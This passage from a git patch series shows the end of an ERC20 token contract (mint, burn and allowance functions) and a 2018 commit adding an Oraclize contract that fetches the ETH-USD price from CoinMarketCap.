allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + /** + * @dev Internal function that mints an amount of the token and assigns it to + * an account. This encapsulates the modification of balances such that the + * proper events are emitted. + * @param _account The account that will receive the created tokens. + * @param _amount The amount that will be created. + */ + function _mint(address _account, uint256 _amount) internal { + require(_account != 0); + totalSupply_ = totalSupply_.add(_amount); + balances[_account] = balances[_account].add(_amount); + emit Transfer(address(0), _account, _amount); + } + + /** + * @dev Internal function that burns an amount of the token of a given + * account. + * @param _account The account whose tokens will be burnt. + * @param _amount The amount that will be burnt. + */ + function _burn(address _account, uint256 _amount) internal { + require(_account != 0); + require(_amount <= balances[_account]); + + totalSupply_ = totalSupply_.sub(_amount); + balances[_account] = balances[_account].sub(_amount); + emit Transfer(_account, address(0), _amount); + } + + /** + * @dev Internal function that burns an amount of the token of a given + * account, deducting from the sender's allowance for said account. Uses the + * internal _burn function. + * @param _account The account whose tokens will be burnt. + * @param _amount The amount that will be burnt. + */ + function _burnFrom(address _account, uint256 _amount) internal { + require(_amount <= allowed[_account][msg.sender]); + + // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, + // this function needs to emit an event with the updated approval. + allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount); + _burn(_account, _amount); + } +} From f3b783cc4a540151859ce081a0e56e0c50a37c4e Mon Sep 17 00:00:00 2001 From: sumitis14 <32765275+sumitis14@users.noreply.github.com> Date: Wed, 29 Aug 2018 17:29:11 +0530 Subject: [PATCH 20/20] Create Oracalize.sol ETH - USD --- Oracalize.sol | 49 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 Oracalize.sol diff --git a/Oracalize.sol b/Oracalize.sol new file mode 100644 index 0000000..56741ab --- /dev/null +++ b/Oracalize.sol @@ -0,0 +1,49 @@ +pragma solidity ^0.4.20; +/* + Import the Oraclize contract + outside of Remix, direct imports from GitHub may not be supported + instead, use a local import or just paste the Oraclize code in directly +*/ +import "./OraclizeI.sol"; + +contract Template is usingOraclize { + + // Define variables + uint public USDPRICE; // number obtained from random.org + mapping(bytes32 => bool) validIds; // used for validating Query IDs + + // Events used to track contract actions + event LogOraclizeQuery(string description); + event LogResultReceived(uint number); + + // Constructor + function Template() public { + // set Oraclize proof type + oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); + } + + // Query Oraclize to get random number +// Query Oraclize to get random number + function getUSDquote() public payable { + // require ETH to cover callback gas costs + require(msg.value >= 0.004 ether); // 200,000 gas * 20 Gwei = 0.004 ETH + // send query + oraclize_query( + "nested", + "[URL] ['json(https://api.coinmarketcap.com/v2/ticker/1027/?convert=ETH).data.quotes.USD.price']" + //"[URL] ['json(https://api.random.org/json-rpc/1/invoke).result.random[\"data\"]', '\\n{\"jsonrpc\": \"2.0\", \"method\": \"generateSignedIntegers\", \"params\": { \"apiKey\": \"00000000-0000-0000-0000-000000000000\", \"n\": 1, \"min\": 1, \"max\": 1000, \"replacement\": true, \"base\": 10 }, \"id\": 14215 }']" + ); + } + + // Callback function for Oraclize once it retreives the data + function __callback(bytes32 queryId, string result, bytes proof) public { + // only allow Oraclize to call this function + require(msg.sender == oraclize_cbAddress()); + + USDPRICE = parseInt(result); + + // log the new number that was obtained + + } + +}